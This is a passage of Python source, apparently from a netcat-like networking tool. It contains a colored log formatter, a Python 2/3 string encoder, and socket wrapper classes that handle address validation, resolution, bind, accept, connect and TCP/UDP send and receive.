    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, color, loglevel):
        # type: (str, int) -> None
        """Instantiate ColoredLogFormatter class.

        Args:
            color (str):  Either be `alway`, `never` or `auto`.
            loglevel (int): Current desired log level.
        """
        super(ColoredLogFormatter, self).__init__()
        self.color = color
        self.loglevel = loglevel
        self.tty = sys.stderr.isatty()

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def format(self, record):
        # type: (logging.LogRecord) -> str
        """Apply custom formatting to log message."""
        log_fmt = self.__get_format()
        log_fmt = self.__colorize(record.levelno, log_fmt)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __get_format(self):
        # type: () -> str
        """Return format string based on currently applied log level."""
        # In debug logging we add slightly more info to all formats
        if self.loglevel == logging.DEBUG:
            return "%(levelname)s [%(threadName)s]: %(message)s"
        # In lower than debug logging we will add even more info to all log formats
        if self.loglevel < logging.DEBUG:
            return (
                "%(asctime)s %(levelname)s [%(threadName)s] %(lineno)d:%(funcName)s(): %(message)s"
            )
        # By default, we will only add basic info
        return "%(levelname)s: %(message)s"

    def __colorize(self, level, fmt):
        # type: (int, str) -> str
        """Colorize a log message based on its level."""
        if self.color == "never":
            return fmt

        # If stderr is redirected to a file or we're running on windows, do not do colorize
        if self.color == "auto" and (not self.tty or os.name == "nt"):
            return fmt

        return self.COLORS.get(level, self.COLOR_DEF) + fmt + self.COLOR_RST


# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (3/3) StringEncoder
# -------------------------------------------------------------------------------------------------
class StringEncoder(object):
    """Takes care about Python 2/3 string encoding/decoding.

    This allows to parse all string/byte values internally between all
    classes or functions as strings to keep full Python 2/3 compat.
    """

    CODECS = [
        "utf-8",
        "cp437",
        "latin-1",
    ]

    # --------------------------------------------------------------------------
    # Class methods
    # --------------------------------------------------------------------------
    @classmethod
    def rstrip(cls, data, search=None):
        # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str]
        """Implementation of rstring which works on bytes or strings."""
        # We have a bytes object in Python3
        if sys.version_info >= (3, 0) and type(data) is not str:
            # Strip whitespace
            if search is None:
                while True:
                    new = data
                    new = cls.rstrip(new, " ")
                    new = cls.rstrip(new, "\n")
                    new = cls.rstrip(new, "\r")
                    new = cls.rstrip(new, "\t")
                    # Loop until no more changes occur
                    if new == data:
                        return new
            else:
                bsearch = StringEncoder.encode(search)
                while data[-1:] == bsearch:
                    data = data[:-1]
                return data

        # Use native function
        if search is None:
            return data.rstrip()
        return data.rstrip(search)  # type: ignore

    @classmethod
    def encode(cls, data):
        # type: (str) -> bytes
        """Convert string into a byte type for Python3."""
        if sys.version_info >= (3, 0):
            for codec in cls.CODECS:
                # On the last codec, do not catch the exception and let it trigger if it fails
                if codec == cls.CODECS[-1]:
                    return data.encode(codec)
                try:
                    return data.encode(codec)
                except UnicodeEncodeError:
                    pass
        return data  # type: ignore

    @classmethod
    def decode(cls, data):
        # type: (bytes) -> str
        """Convert bytes into a string type for Python3."""
        if sys.version_info >= (3, 0):
            for codec in cls.CODECS:
                # On the last codec, do not catch the exception and let it trigger if it fails
                if codec == cls.CODECS[-1]:
                    return data.decode(codec)
                try:
                    return data.decode(codec)
                except UnicodeDecodeError:
                    pass
        return data  # type: ignore


# #################################################################################################
# #################################################################################################
# ###
# ###   4 / 11   N E T W O R K
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [4/11 NETWORK]: (1/1) Sock
# -------------------------------------------------------------------------------------------------
class Sock(_Singleton("SingletonMeta", (object,), {})):  # type: ignore
    """Thread-safe singleton Socket wrapper to emulate a module within the same file."""

    def __init__(self):
        # type: () -> None
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Private constants
    # --------------------------------------------------------------------------
    # For Internet Protocol v4 the value consists of an integer, the least
    # significant 8 bits of which represent the value of the TOS octet in IP
    # packets sent by the socket. RFC 1349 defines the TOS values as follows:
    __IP_TOS = {
        "mincost": 0x02,
        "lowcost": 0x02,
        "reliability": 0x04,
        "throughput": 0x08,
        "lowdelay": 0x10,
    }

    # Human readable address families
    __AF_HUMAN = {
        int(socket.AF_INET): "IPv4",
        int(socket.AF_INET6): "IPv6",
    }

    # Human readable socket types
    __ST_HUMAN = {
        int(socket.SOCK_STREAM): "TCP",
        int(socket.SOCK_DGRAM): "UDP",
    }

    # https://hg.python.org/cpython/file/3.5/Modules/socketmodule.c
    __SOCK_OPTS = {
        "Sock": [
            "SO_DEBUG",
            "SO_ACCEPTCONN",
            "SO_REUSEADDR",
            "SO_EXCLUSIVEADDRUSE",
            "SO_KEEPALIVE",
            "SO_DONTROUTE",
            "SO_BROADCAST",
            "SO_USELOOPBACK",
            "SO_LINGER",
            "SO_OOBINLINE",
            "SO_REUSEPORT",
            "SO_SNDBUF",
            "SO_RCVBUF",
            "SO_SNDLOWAT",
            "SO_RCVLOWAT",
            "SO_SNDTIMEO",
            "SO_RCVTIMEO",
            "SO_ERROR",
            "SO_TYPE",
            "SO_SETFIB",
            "SO_PASSCRED",
            "SO_PEERCRED",
            "LOCAL_PEERCRED",
            "SO_BINDTODEVICE",
            "SO_PRIORITY",
            "SO_MARK",
        ],
        "IPv4": [
            "IP_OPTIONS",
            "IP_HDRINCL",
            "IP_TOS",
            "IP_TTL",
            "IP_RECVOPTS",
            "IP_RECVRETOPTS",
            "IP_RECVDSTADDR",
            "IP_RETOPTS",
            "IP_MULTICAST_IF",
            "IP_MULTICAST_TTL",
            "IP_MULTICAST_LOOP",
            "IP_ADD_MEMBERSHIP",
            "IP_DROP_MEMBERSHIP",
            "IP_DEFAULT_MULTICAST_TTL",
            "IP_DEFAULT_MULTICAST_LOOP",
            "IP_MAX_MEMBERSHIPS",
            "IP_TRANSPARENT",
        ],
        "IPv6": [
            "IPV6_JOIN_GROUP",
            "IPV6_LEAVE_GROUP",
            "IPV6_MULTICAST_HOPS",
            "IPV6_MULTICAST_IF",
            "IPV6_MULTICAST_LOOP",
            "IPV6_UNICAST_HOPS",
            "IPV6_V6ONLY",
            "IPV6_CHECKSUM",
            "IPV6_DONTFRAG",
            "IPV6_DSTOPTS",
            "IPV6_HOPLIMIT",
            "IPV6_HOPOPTS",
            "IPV6_NEXTHOP",
            "IPV6_PATHMTU",
            "IPV6_PKTINFO",
            "IPV6_RECVDSTOPTS",
            "IPV6_RECVHOPLIMIT",
            "IPV6_RECVHOPOPTS",
            "IPV6_RECVPKTINFO",
            "IPV6_RECVRTHDR",
            "IPV6_RECVTCLASS",
            "IPV6_RTHDR",
            "IPV6_RTHDRDSTOPTS",
            "IPV6_RTHDR_TYPE_0",
            "IPV6_RECVPATHMTU",
            "IPV6_TCLASS",
            "IPV6_USE_MIN_MTU",
        ],
        "TCP": [
            "TCP_NODELAY",
            "TCP_MAXSEG",
            "TCP_CORK",
            "TCP_KEEPIDLE",
            "TCP_KEEPINTVL",
            "TCP_KEEPCNT",
            "TCP_SYNCNT",
            "TCP_LINGER2",
            "TCP_DEFER_ACCEPT",
            "TCP_WINDOW_CLAMP",
            "TCP_INFO",
            "TCP_QUICKACK",
            "TCP_FASTOPEN",
        ],
    }

    # --------------------------------------------------------------------------
    # Static methods
    # --------------------------------------------------------------------------
    @staticmethod
    def is_ipv6_address(host):
        # type: (str) -> bool
        """Check if a given str is a valid IPv6 address."""
        # TODO: check for link-local addresses (start with: fe80)
        # https://stackoverflow.com/questions/3801701

        # [1/4] socket.inet_pton
        if hasattr(socket, "inet_pton"):
            try:
                socket.inet_pton(socket.AF_INET6, host)
                return True
            except socket.error:
                return False

        # [2/4] optional module: ipaddress
        try:
            addr = unicode(host)  # type: ignore
        except NameError:
            addr = host
        try:
            try:
                ipaddress.IPv6Address(addr)
                return True
            except ipaddress.AddressValueError:
                return False
        except NameError:
            pass

        # [3/4] regex
        # This is a poor mans solution, but we only want to know if it
        # is on the format of IPv6 and not if it is a valid IPv6. The
        # validation will be figured out during connect()
        reg = r"^([a-f0-9]{0,4}:){5}[a-f0-9]{0,4}$"
        if re.match(reg, host):
            return True

        # [4/4] Nope
        return False

    @staticmethod
    def is_ipv4_address(host):
        # type: (str) -> bool
        """Check if a given str is a valid IPv4 address."""
        # [1/5] socket.inet_aton
        if hasattr(socket, "inet_aton"):
            try:
                socket.inet_aton(host)
                return True
            except socket.error:
                return False

        # [2/5] socket.inet_pton
        if hasattr(socket, "inet_pton"):
            try:
                socket.inet_pton(socket.AF_INET, host)
                return True
            except socket.error:
                return False

        # [3/5] optional module: ipaddress
        try:
            addr = unicode(host)  # type: ignore
        except NameError:
            addr = host
        try:
            try:
                ipaddress.IPv4Address(addr)
                return True
            except ipaddress.AddressValueError:
                return False
        except NameError:
            pass

        # [4/5] regex
        # This is a poor mans solution, but we only want to know if it
        # is on the format of IPv4 and not if it is a valid IPv4. The
        # validation will be figured out during connect()
        reg = r"^([0-9]{1,3}\.){3}[0-9]{1,3}$"
        if re.match(reg, host):
            return True

        # [5/5] Nope
        return False

    # --------------------------------------------------------------------------
    # Get functions
    # --------------------------------------------------------------------------
    def get_iptos_by_name(self, name):
        # type: (str) -> int
        """Get IP Type of Service hexadecimal value by name."""
        assert name in self.__IP_TOS
        return self.__IP_TOS[name]

    def get_family_name(self, family):
        # type: (Union[socket.AddressFamily, int]) -> str
        """Returns human readable name of given address family as str."""
        try:
            return self.__AF_HUMAN[int(family)]
        except KeyError:
            self.__log.error(
                "Invalid key for address family: %s (type: %s) (valid: %s)",
                repr(family),
                repr(type(family)),
                repr(self.__AF_HUMAN),
            )
            return "unknown"

    def get_type_name(self, sock_type):
        # type: (int) -> str
        """Returns human readable name of given socket type as str."""
        try:
            return self.__ST_HUMAN[int(sock_type)]
        except KeyError:
            self.__log.error(
                "Invalid key for address sock_type: %s (type: %s) (valid: %s)",
                repr(sock_type),
                repr(type(sock_type)),
                repr(self.__ST_HUMAN),
            )
            return "unknown"

    def get_sock_opts(self, sock, opts):
        # type: (Sock, socket.socket, Optional[str]) -> List[str]
        """Debug logs configured socket options."""
        if opts is None:
            return []
        assert opts in ["all", "sock", "ipv4", "ipv6", "tcp"], "Value: {}".format(repr(opts))
        info = []
        for proto, optnames in self.__SOCK_OPTS.items():
            if opts == "all" or proto.lower() == opts:
                for optname in optnames:
                    if proto.lower() == "sock":
                        level = socket.SOL_SOCKET
                    elif proto.lower() == "ipv4":
                        level = socket.IPPROTO_IP
                    elif proto.lower() == "ipv6":
                        level = socket.IPPROTO_IPV6
                    elif proto.lower() == "tcp":
                        level = socket.IPPROTO_TCP
                    try:
                        info.append(
                            "{}: {}: {}".format(
                                proto,
                                optname,
                                sock.getsockopt(
                                    level, eval("socket." + optname)  # pylint: disable=eval-used
                                ),
                            )
                        )
                    except AttributeError:
                        pass
                    except (OSError, socket.error):
                        pass
        return info

    def gethostbyname(self, host, family, resolvedns):
        # type: (Sock, Optional[str], Union[socket.AddressFamily, int], bool) -> str
        """Translate hostname into a IP address for a given address family.

        Args:
            host (str): The hostname to resolvea.
            family (socket.family): IPv4 or IPv6 family

        Returns:
            str: Numeric IP address.

        Raises:
            socket.gaierror: If hostname cannot be resolved.
        """
        socktype = 0
        proto = 0
        flags = 0
        port = None
        family = int(family)

        # [1/4] Wildcard without host
        if host is None:
            if family == int(socket.AF_INET):
                self.__log.debug("Resolving IPv4 name not required, using wildcard: 0.0.0.0")
                return "0.0.0.0"
            if family == int(socket.AF_INET6):
                self.__log.debug("Resolving IPv6 name not required, using wildcard: ::")
                return "::"
        assert host is not None

        # [2/4] Already an IP address
        if family == int(socket.AF_INET6):
            if Sock.is_ipv6_address(host):
                self.__log.debug("Resolving IPv6 name not required, already an IP: %s", host)
                return host
            # Map IPv4 address to IPv6
            host6 = "::ffff:" + host
            if Sock.is_ipv6_address(host6):
                self.__log.debug("Resolving IPv4 name not required, changing to IPv6: %s", host6)
                return host6
        elif family == int(socket.AF_INET):
            if Sock.is_ipv4_address(host):
                self.__log.debug("Resolving IPv4 host not required, already an IP: %s", host)
                return host

        # [3/4] Do we disable DNS resolution?
        if not resolvedns:
            flags = socket.AI_NUMERICHOST

        # [4/4] Resolve
        try:
            infos = socket.getaddrinfo(host, port, family, socktype, proto, flags)
            addr = str(infos[0][4][0])
            self.__log.debug("Resolved %s host: %s", self.get_family_name(family), addr)
            return addr
        except (AttributeError, socket.gaierror) as error:
            msg = "Resolving {} host: {} failed: {}".format(
                self.get_family_name(family), str(host), str(error)
            )
            self.__log.debug(msg)
            raise socket.gaierror(msg)  # type: ignore

    # --------------------------------------------------------------------------
    # Create functions
    # --------------------------------------------------------------------------
    def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None):
        # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket
        """Create TCP or UDP socket.

        Args:
            family (socket.family): The address family for which to create the socket for.
            sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM
            reuse_addr (bool): Set SO_REUSEADDR on the socket.
            ip_tos_name (str): Optional IP type of service value to apply to socket

        Returns:
            socket.socket: Returns TCP or UDP socket for the given address family.

        Raises:
            socket.error: If socket cannot be created.
        """
        assert int(sock_type) in [int(socket.SOCK_DGRAM), int(socket.SOCK_STREAM)]
        try:
            if int(sock_type) == int(socket.SOCK_DGRAM):
                self.__log.debug(
                    "Creating (family %d/%s, UDP) socket", int(family), self.get_family_name(family)
                )
                sock = socket.socket(family, socket.SOCK_DGRAM)
            else:
                self.__log.debug(
                    "Creating (family %d/%s, TCP) socket", int(family), self.get_family_name(family)
                )
                sock = socket.socket(family, socket.SOCK_STREAM)
        except socket.error as error:
            msg = "Creating (family {}/{}, {}) socket failed: {}".format(
                int(family), self.get_family_name(family), self.get_type_name(sock_type), error
            )
            self.__log.debug(msg)
            raise socket.error(msg)

        if family == socket.AF_INET6:
            # On Linux, IPv6 sockets accept IPv4 too by default, but this makes
            # it impossible to bind to both 0.0.0.0 in IPv4 and :: in IPv6.
            # On other systems, separate sockets *must* be used to listen for
            # both IPv4 and IPv6. For consistency, always disable IPv4 on our
            # IPv6 sockets and use a separate ipv4 socket when needed.
            #
            # Python 2.x on windows doesn't have IPPROTO_IPV6.
            if hasattr(socket, "IPPROTO_IPV6"):
                self.__log.debug(
                    "Disabling IPv4 support on %s socket", self.get_family_name(family)
                )
                sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 1)

        # Get around the "[Errno 98] Address already in use" error, if the socket is still in wait
        # we instruct it to reuse the address anyway.
        if reuse_addr:
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # If requested, set IP Type of Service value for current socket
        if ip_tos_name is not None:
            ip_tos_val = self.get_iptos_by_name(ip_tos_name)
            self.__log.debug("Setting IP_TOS to: %d (%s)", ip_tos_val, ip_tos_name)
            sock.setsockopt(socket.IPPROTO_IP, socket.IP_TOS, ip_tos_val)
        # All done, return it to the requestor
        return sock

    def bind(self, sock, addr, port):
        # type: (socket.socket, str, int) -> None
        """Bind the socket to an address.

        Args:
            sock (socket.socket): The socket to bind.
            addr (str): The numerical IP address to bind to.
            port (int): The port to bind to.

        Raises:
            socket.error if socket cannot be bound.
        """
        sock_family_name = self.get_family_name(sock.family)
        sock_type_name = self.get_type_name(sock.type)
        self.__log.debug(
            "Binding (family %d/%s, %s) socket to %s:%d",
            int(sock.family),
            sock_family_name,
            sock_type_name,
            addr,
            port,
        )
        try:
            sock.bind((addr, port))
        except (OverflowError, OSError, socket.gaierror, socket.error) as error:
            msg = "Binding (family {}/{}, {}) socket to {}:{} failed: {}".format(
                sock.family, sock_family_name, sock_type_name, addr, port, error
            )
            raise socket.error(msg)

    def listen(self, sock, backlog):
        # type: (socket.socket, int) -> None
        """Listen for connections made to the socket.

        Args:
            sock (socket.socket): The socket to listen on.
            backlog (int): Listen backlog

        Raises:
            socket.error: If listening fails.
        """
        try:
            self.__log.debug("Listening with backlog=%d", backlog)
            sock.listen(backlog)
        except socket.error as error:
            msg = "Listening failed: {}".format(error)
            self.__log.error(msg)
            raise socket.error(msg)

    def accept(
        self,
        sockets,  # type: List[socket.socket]
        has_quit,  # type: Callable[[], bool]
        select_timeout=0.01,  # type: float
    ):
        # type: (...) -> Tuple[socket.socket, Tuple[str, int]]
        """Accept a single connection from given list of sockets.

        Given sockets must be bound to an addr and listening for connections.

        Args:
            sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on.
            has_quit (Callable[[], bool]): A function that returns True if abort is requested.
            select_timeout (float): Timeout to poll sockets for connected clients.

        Returns:
            (socket.socket, str, int): Returns tuple of socket, address and port of client.

        Raises:
            socket.error: Raised if server cannot accept connection or stop signal is requested.
        """
        self.__log.debug("Waiting for TCP client")
        while True:
            try:
                ssockets = select.select(sockets, [], [], select_timeout)[
                    0
                ]  # type: List[socket.socket]
            except select.error as err:
                raise socket.error(err)
            if has_quit():
                raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()")
            for sock in ssockets:
                try:
                    conn, addr = sock.accept()
                except (socket.gaierror, socket.error) as error:
                    msg = "Accept failed: {}".format(error)
                    self.__log.error(msg)
                    raise socket.error(msg)
                self.__log.info(
                    "Client connected from %s:%d (family %d/%s, TCP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.get_family_name(conn.family),
                )
                return conn, (addr[0], addr[1])

    def connect(
        self,
        sock,  # type: socket.socket
        addr,  # type: str
        port,  # type: int
        src_addr=None,  # type: Optional[str]
        src_port=None,  # type: Optional[int]
        udp_sconnect=False,  # type: bool
        udp_send_payload=b"",  # type: bytes
        udp_recv_bufsize=8192,  # type: int
        udp_recv_timeout=0.1,  # type: float
    ):
        # type: (...) -> Tuple[str, int]
        """Connect to a remote socket at given address and port.

        Args:
            sock (socket.socket): The socket to use for connecting/communication.
            addr (str): Numerical IP address of server to connect to.
            port (int): Port of server to connect to.

        Returns:
            Tuple[str,int]: Adress/port tuple of local bind of the client.

        Raises:
            socker.error: If client cannot connect to remote peer or custom bind did not succeed.
        """
        try:
            # If the socket was already closed elsewhere, it won't have family or type anymore
            sock_family_name = self.get_family_name(sock.family)
            sock_type_name = self.get_type_name(sock.type)
        except AttributeError as error:
            raise socket.error(error)

        # Bind to a custom addr/port
        if src_addr is not None and src_port is not None:
            try:
                self.__log.debug("Binding specifically to %s:%d", src_addr, src_port)
                self.bind(sock, src_addr, src_port)
            except socket.error as error:
                raise socket.error(error)
        try:
            self.__log.debug(
                "Connecting to %s:%d (family %d/%s, %s)",
                addr,
                port,
                int(sock.family),
                sock_family_name,
                sock_type_name,
            )

            # Ensure to use connect() protocol independent
            info = socket.getaddrinfo(addr, port, sock.family, sock.type, sock.proto)
            sock.connect(info[0][4])

            # UDP stateful connect
            # A UDP client doesn't know if the connect() was successful, so the trick
            # is to send an empty packet and see if an exception is triggered during
            # receive or simply a timeout (which means success).
            if udp_sconnect and int(sock.type) == int(socket.SOCK_DGRAM):
                assert type(udp_send_payload) is bytes
                assert type(udp_recv_bufsize) is int
                # Some applications like netcat do not like to receive empty
                # data, as they treat it as an EOF and will quit upon receive,
                # so we're using a nullbyte character instead.
                self.__log.debug(
                    "Trying to send %d bytes (%s) for UDP stateful connect",
                    len(udp_send_payload),
                    repr(udp_send_payload),
                )
                sock.send(udp_send_payload)
                sock.settimeout(udp_recv_timeout)
                try:
                    sock.recv(udp_recv_bufsize)
                except socket.timeout:
                    pass
                finally:
                    sock.settimeout(0)

        except (OSError, socket.error) as error:
            msg = "Connecting to {}:{} (family {}/{}, {}) failed: {}".format(
                addr,
                port,
                sock.family,
                sock_family_name,
                sock_type_name,
                error,
            )
            raise socket.error(msg)

        local = sock.getsockname()
        self.__log.debug(
            "Connected from %s:%d",
            local[0],
            local[1],
        )
        self.__log.info(
            "Connected to %s:%d (family %d/%s, %s)",
            addr,
            port,
            int(sock.family),
            sock_family_name,
            sock_type_name,
        )
        return (local[0], local[1])

    # --------------------------------------------------------------------------
    # Destroy functions
    # --------------------------------------------------------------------------
    def shutdown_recv(self, sock, name):
        # type: (socket.socket, str) -> None
        """Shuts down a socket for receiving data (only allow to send data).

        Args:
            name (str): Name of the socket used for logging purposes.
            sock (str): Socket to shutdown for receive.
        """
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            self.__log.trace("Shutting down %s socket for receiving", name)  # type: ignore
            sock.shutdown(socket.SHUT_RD)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass

    def shutdown_send(self, sock, name):
        # type: (socket.socket, str) -> None
        """Shuts down a socket for sending data (only allow to receive data).

        Args:
            name (str): Name of the socket used for logging purposes.
            sock (str): Socket to shutdown for send.
        """
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            self.__log.trace("Shutting down %s socket for sending", name)  # type: ignore
            sock.shutdown(socket.SHUT_WR)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass

    def close(self, sock, name):  # pylint: disable=unused-argument,no-self-use
        # type: (socket.socket, str) -> None
        """Shuts down and closes a socket.

        Args:
            sock (socket.socket): Socket to shutdown and close.
            name (str): Name of the socket used for logging purposes.
        """
        # NOTE: Logging is removed here as this is too much overhead when using
        # the port scanner (it will have thousands of threads and too many
        # calls to the logger which will cause issues with its shutdown
        # and a massive performance degrade as well.
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            # self.__log.trace("Shutting down %s socket", name)  # type: ignore
            sock.shutdown(socket.SHUT_RDWR)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass
        try:
            # self.__log.trace("Closing %s socket", name)  # type: ignore
            sock.close()
        except (OSError, socket.error):
            pass
            # self.__log.trace("Could not close %s socket: %s", name, error)  # type: ignore


class Net(object):
    """Provides an abstracted server client socket for TCP and UDP."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, encoder, ssig, options):
        # type: (StringEncoder, InterruptHandler, DsSock) -> None
        """Instantiate Sock class.

        Args:
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            ssig (InterruptHandler): Used to stop blocking loops.
            options (DsSock): Instance of DsSock.
        """
        self.__log = logging.getLogger(__name__)  # type: logging.Logger
        self.__enc = encoder
        self.__ssig = ssig
        self.__options = options
        self.__sock = Sock()

        # Set families to listen on or connect to
        # Using a list here to ensure IPv6 will always come first
        if self.__options.ipv6:
            self.__families = [int(socket.AF_INET6)]
        elif self.__options.ipv4:
            self.__families = [int(socket.AF_INET)]
        else:
            self.__families = [
                int(socket.AF_INET6),
                int(socket.AF_INET),
            ]

        # The connection dictionary.
        # A dictionary is necessary, as we can have multiple entries for
        # IPv4 and IPv6 when using UDP in server mode.
        #
        # 1.) If the UDP server wants to send data to an UDP client,
        # it must first wait for the client to send data to get to know
        # it's IP address (we're not using connect() for UDP here).
        # 2.) As we allow IPv4 and IPv6 listening at the same time,
        # we must maintain both entries in that list, until the
        # UDP client has connected.
        # Once the UDP client has connected, all unconnected entries
        # will be removed and the protocol has been determined.
        # {
        #   <socket.family>:
        #     {
        #       "sock": socket.socket,      # <-- bind socket if server
        #       "conn": socket.socket,      # <-- send/recv socket
        #       "local_host": <hostname>,   # <-- (server only) hostname or ip address for binding
        #       "local_addr": <ip-addr>,    # <-- (server only) ip address for binding
        #       "local_port": <port>,       # <-- (server only) port for binding
        #       "remote_host": <hostname>,  # <-- hostname or ip address of remote end
        #       "remote_addr": <ip-addr>,   # <-- numerical ip address of remote end
        #       "remote_port": <port>,      # <-- port of remote end
        #     },
        # }
        self.__conns = {}  # type: Dict[int, SockConn]

        # The self.__conns dictionary can hold two entries: IPv4 and IPv6.
        # In client mode after successful connect, the unused entry is dropped.
        # In server mode we keep entries for TCP/re-accept() or UDP/connect.
        #
        # That would mean for send/recv functions in server mode, we would
        # always have to loop around entries in self.__conns. To avoid this
        # we keep track of the currently active connection in self.__active
        # and only use this,
        # {
        #    "af": socket.family,        # <-- the used socket family
        #    "conn": socket.socket,      # <-- send/recv socket
        #    "remote_addr": <ip-addr>,   # <-- numerical ip address of remote end
        #    "remote_port": <port>,      # <-- port of remote end
        # }
        self.__active = {}  # type: SockActive

        self.__udp_mode_server = False  # type: bool

    # --------------------------------------------------------------------------
    # Public Send / Receive Functions
    # --------------------------------------------------------------------------
    def send_eof(self):
        # type: () -> None
        """Close the active socket for sending. The remote part will get an EOF."""
        self.__sock.shutdown_send(self.__active["conn"], "conn")

    def send(self, data):
        # type: (bytes) -> int
        """Send data through a connected (TCP) or unconnected (UDP) socket.

        Args:
            data (bytes): The data to send.

        Returns:
            int: Returns total bytes sent.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        # UDP has some specialities as its socket is unconnected.
        # See also recv() for specialities on that side.

        # In case of sending data to an UDP client, we need to initially wait
        # until the client has first connected and told us its addr/port.
        if self.__udp_mode_server:
            # self.__active will be set in recv() by another thread
            if not self.__active:
                self.__log.warning("UDP client has not yet connected. Queueing message")
                while not self.__active:
                    if self.__ssig.has_sock_quit():
                        self.__log.trace(  # type: ignore
                            "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)"
                        )
                        return -1
                    time.sleep(0.01)

        curr = 0  # bytes send during one loop iteration
        send = 0  # total bytes send
        size = len(data)  # bytes of data that needs to be send

        # Loop until all bytes have been send
        while send < size:
            self.__log.debug(
                "Trying to send %d bytes to %s:%d",
                size - send,
                self.__active["remote_addr"],
                self.__active["remote_port"],
            )
            self.__log.trace("Trying to send: %s", repr(data))  # type: ignore
            try:
                # Only UDP server has not made a connect() to the socket, all others
                # are already connected and need to use send() instead of sendto()
                if self.__udp_mode_server:
                    curr = self.__active["conn"].sendto(
                        data, (self.__active["remote_addr"], self.__active["remote_port"])
                    )
                    send += curr
                else:
                    curr = self.__active["conn"].send(data)
                    send += curr
                if curr == 0:
                    self.__log.error("No bytes send during loop round.")
                    return 0
                # Remove 'curr' many bytes from byte for the next round
                data = data[curr:]
                self.__log.debug(
                    "Sent %d bytes to %s:%d (%d bytes remaining)",
                    curr,
                    self.__active["remote_addr"],
                    self.__active["remote_port"],
                    size - send,
                )
            except (IOError, OSError, socket.error) as error:
                msg = "Socket send Error: {}".format(error)
                raise socket.error(msg)
        return send

    def receive(self):
        # type: () -> bytes
        """Receive and return data from the connected (TCP) or unconnected (UDP) socket.

        Returns:
            bytes: Returns received data from connected (TCP) or unconnected (UDP) socket.

        Raises:
            socket.timeout: Except here to do an action when the socket is not busy.
            AttributeError: Except here when current instance has closed itself (Ctrl+c).
            socket.error:   Except here when unconnected or connection was forcibly closed.
            EOFError:       Except here when upstream has closed the connection via EOF.
        """
        # This is required for a UDP server that has no connected clients yet
        # and is waiting for data receival for the first time on either IPv4 or IPv6
        # to finally determine which of those two we're going to use and which
        # of them we will remove after succesfull connect.
        try:
            conns = select.select(
                [self.__conns[af]["conn"] for af in self.__conns if "conn" in self.__conns[af]],
                [],
                [],
                self.__options.recv_timeout,
            )[
                0
            ]  # type: List[socket.socket]
        # E.g.: ValueError: file descriptor cannot be a negative integer (-1)
        except (ValueError, AttributeError) as error:
            msg = "Connection was closed by self: [1]: {}".format(error)
            self.__log.debug(msg)
            raise AttributeError(msg)
        if not conns:
            # This is raised for the calling function to determine what to do
            # between timeouts (e.g.: check signals, etc)
            raise socket.timeout("timed out")  # type: ignore

        # We should always only have one active socket on which we receive data.
        assert len(conns) == 1
        conn = conns[0]  # type: socket.socket
        try:
            # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html
            (data, addr) = conn.recvfrom(self.__options.bufsize)

        # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called)
        except AttributeError as error:
            msg = "Connection was closed by self: [2]: {}".format(error)
            self.__log.debug(msg)
            raise AttributeError(msg)

        # [2/5] Connection was forcibly closed
        # [Errno 107] Transport endpoint is not connected
        # [Errno 10054] An existing connection was forcibly closed by the remote host
        # [WinError 10054] An existing connection was forcibly closed by the remote host
        except (OSError, socket.error) as error:
            self.__log.debug("Connection error: %s", error)
            raise socket.error(error)

        # [3/5] Upstream (server or client) is gone.
        # In TCP, there is no such thing as an empty message, so zero means a peer disconnect.
        # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram.
        if not data:
            msg = "EOF: Remote finished sending."
            self.__log.info(msg)
            raise EOFError(msg)

        # [4/5] (UDP Server mode only)
        # 1.) The UDP server is only able to send data, if a client has sent data first,
        # as we do not do a connect() phase for UDP and therefore do not know its remote
        # addr/port before. See send() function for a blocking loop.
        # 2.) Additionally, we will always update its IP/port values to distinguish
        # the same connected client between a new/different connected client.
        if self.__udp_mode_server:
            # UDP client connects for the first time
            if not self.__active:
                self.__log.info(
                    "Client connected: %s:%d (family %d/%s, UDP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.__sock.get_family_name(conn.family),
                )
            # A different UDP client connects
            elif self.__active["remote_addr"] != addr[0] or self.__active["remote_port"] != addr[1]:
                self.__log.info(
                    "New client connected: %s:%d (family %d/%s, UDP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.__sock.get_family_name(conn.family),
                )
            # Set currently active UDP connection socket
            self.__active = {
                "af": conn.family,
                "conn": conn,
                "remote_addr": addr[0],
                "remote_port": addr[1],
            }

